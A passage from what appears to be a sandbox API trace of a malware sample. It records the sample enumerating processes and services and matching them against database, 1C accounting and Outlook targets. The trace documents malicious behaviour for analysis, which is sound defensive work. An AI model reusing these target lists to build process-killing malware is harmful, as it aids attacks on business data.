lpString2="svchost.exe") returned -1 [0134.650] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0134.650] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.650] lstrlenW (lpString="svchost.exe") returned 11 [0134.650] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0134.650] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0134.650] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0134.650] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0134.650] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0134.650] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0134.650] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0134.650] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.651] lstrlenW (lpString="svchost.exe") returned 11 [0134.651] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0134.651] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0134.651] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0134.651] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0134.651] lstrlenW (lpString="audiodg.exe") returned 11 [0134.651] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.651] lstrlenW (lpString="svchost.exe") returned 11 [0134.652] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0134.652] lstrlenW (lpString="userinit.exe") returned 12 [0134.652] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0134.653] lstrlenW (lpString="explorer.exe") returned 12 [0134.653] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0134.653] lstrlenW (lpString="dwm.exe") returned 7 [0134.653] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.653] lstrlenW (lpString="svchost.exe") returned 11 [0134.653] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0134.654] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0134.654] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0134.654] lstrlenW (lpString="spoolsv.exe") returned 11 [0134.654] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0134.654] lstrlenW (lpString="dllhost.exe") returned 11 [0134.654] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0134.655] lstrlenW (lpString="reader_sl.exe") returned 13 [0134.655] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.655] lstrlenW (lpString="svchost.exe") returned 11 [0134.655] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0134.655] lstrlenW (lpString="taskhost.exe") returned 12 [0134.655] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0134.656] CloseHandle (hObject=0x388) returned 1 [0134.656] Sleep (dwMilliseconds=0x1f4) [0135.410] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x428b438 [0135.440] EnumServicesStatusExW (in: hSCManager=0x428b438, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0135.440] GetLastError () returned 0xea [0135.440] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc9a) returned 0x428bbd0 [0135.441] EnumServicesStatusExW (in: hSCManager=0x428b438, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x428bbd0, cbBufSize=0xc9a, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x428bbd0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0135.441] CloseServiceHandle (hSCObject=0x428b438) returned 1 [0135.441] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0135.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0135.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0135.441] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0135.441] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0135.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0135.441] lstrlenW (lpString="AudioSrv") returned 8 [0135.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0135.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0135.441] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0135.441] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0135.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0135.442] lstrlenW (lpString="BFE") returned 3 [0135.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0135.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0135.442] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0135.442] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0135.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0135.442] lstrlenW (lpString="CryptSvc") returned 8 [0135.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0135.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0135.442] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0135.442] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0135.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0135.442] lstrlenW (lpString="CscService") returned 10 [0135.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0135.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0135.442] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0135.442] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0135.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0135.442] lstrlenW (lpString="DcomLaunch") returned 10 [0135.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0135.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0135.442] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0135.442] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0135.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0135.442] lstrlenW (lpString="Dhcp") returned 4 [0135.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0135.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0135.442] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0135.442] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0135.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0135.443] lstrlenW (lpString="Dnscache") returned 8 [0135.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0135.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0135.443] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0135.443] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0135.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0135.443] lstrlenW (lpString="DPS") returned 3 [0135.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0135.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0135.443] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0135.443] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0135.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0135.443] lstrlenW (lpString="eventlog") returned 8 [0135.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0135.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0135.443] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0135.443] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0135.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0135.443] lstrlenW (lpString="EventSystem") returned 11 [0135.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0135.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0135.443] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0135.443] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0135.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0135.443] lstrlenW (lpString="gpsvc") returned 5 [0135.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0135.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0135.443] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0135.443] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0135.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0135.443] lstrlenW (lpString="LanmanWorkstation") returned 17 [0135.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0135.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0135.444] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0135.444] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0135.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0135.444] lstrlenW (lpString="lmhosts") returned 7 [0135.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0135.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0135.444] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0135.444] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0135.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0135.444] lstrlenW (lpString="MMCSS") returned 5 [0135.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0135.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0135.444] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0135.444] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0135.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0135.444] lstrlenW (lpString="MpsSvc") returned 6 [0135.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0135.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0135.444] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0135.444] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0135.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0135.444] lstrlenW (lpString="NlaSvc") returned 6 [0135.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0135.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0135.444] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0135.444] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0135.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0135.444] lstrlenW (lpString="nsi") returned 3 [0135.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0135.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0135.444] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0135.444] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0135.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0135.444] lstrlenW (lpString="PcaSvc") returned 6 [0135.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0135.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0135.445] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0135.445] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0135.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0135.445] lstrlenW (lpString="PlugPlay") returned 8 [0135.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0135.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0135.445] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0135.445] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0135.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0135.445] lstrlenW (lpString="Power") returned 5 [0135.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0135.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0135.445] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0135.445] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0135.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0135.445] lstrlenW (lpString="ProfSvc") returned 7 [0135.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0135.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0135.446] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0135.446] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0135.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0135.446] lstrlenW (lpString="RpcEptMapper") returned 12 [0135.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0135.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0135.446] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0135.446] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0135.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0135.446] lstrlenW (lpString="RpcSs") returned 5 [0135.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0135.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0135.446] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0135.446] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0135.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0135.446] lstrlenW (lpString="SamSs") returned 5 [0135.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0135.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0135.446] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0135.446] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0135.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0135.446] lstrlenW (lpString="Schedule") returned 8 [0135.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0135.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0135.446] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0135.446] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0135.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0135.446] lstrlenW (lpString="SENS") returned 4 [0135.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0135.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0135.446] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0135.446] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0135.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0135.447] lstrlenW (lpString="ShellHWDetection") returned 16 [0135.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0135.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0135.447] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0135.447] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0135.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0135.447] lstrlenW (lpString="Spooler") returned 7 [0135.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0135.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0135.447] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0135.447] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0135.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0135.447] lstrlenW (lpString="Themes") returned 6 [0135.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0135.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0135.447] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0135.447] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0135.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0135.447] lstrlenW (lpString="UxSms") returned 5 [0135.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0135.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0135.447] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0135.447] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0135.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0135.447] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x428bbd0 | out: hHeap=0x880000) returned 1 [0135.447] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ec [0135.449] Process32FirstW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0135.449] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0135.450] lstrlenW (lpString="System") returned 6 [0135.450] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0135.450] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0135.450] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0135.450] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0135.450] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0135.450] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0135.450] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0135.450] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0135.450] lstrlenW (lpString="smss.exe") returned 8 [0135.450] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0135.450] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0135.450] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0135.450] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0135.450] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0135.450] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0135.450] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0135.450] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0135.451] lstrlenW (lpString="csrss.exe") returned 9 [0135.451] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0135.451] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0135.451] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0135.451] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0135.451] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0135.451] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0135.451] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0135.451] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0135.451] lstrlenW (lpString="wininit.exe") returned 11 [0135.451] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0135.451] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0135.451] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0135.451] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0135.451] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0135.451] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0135.451] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0135.451] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, 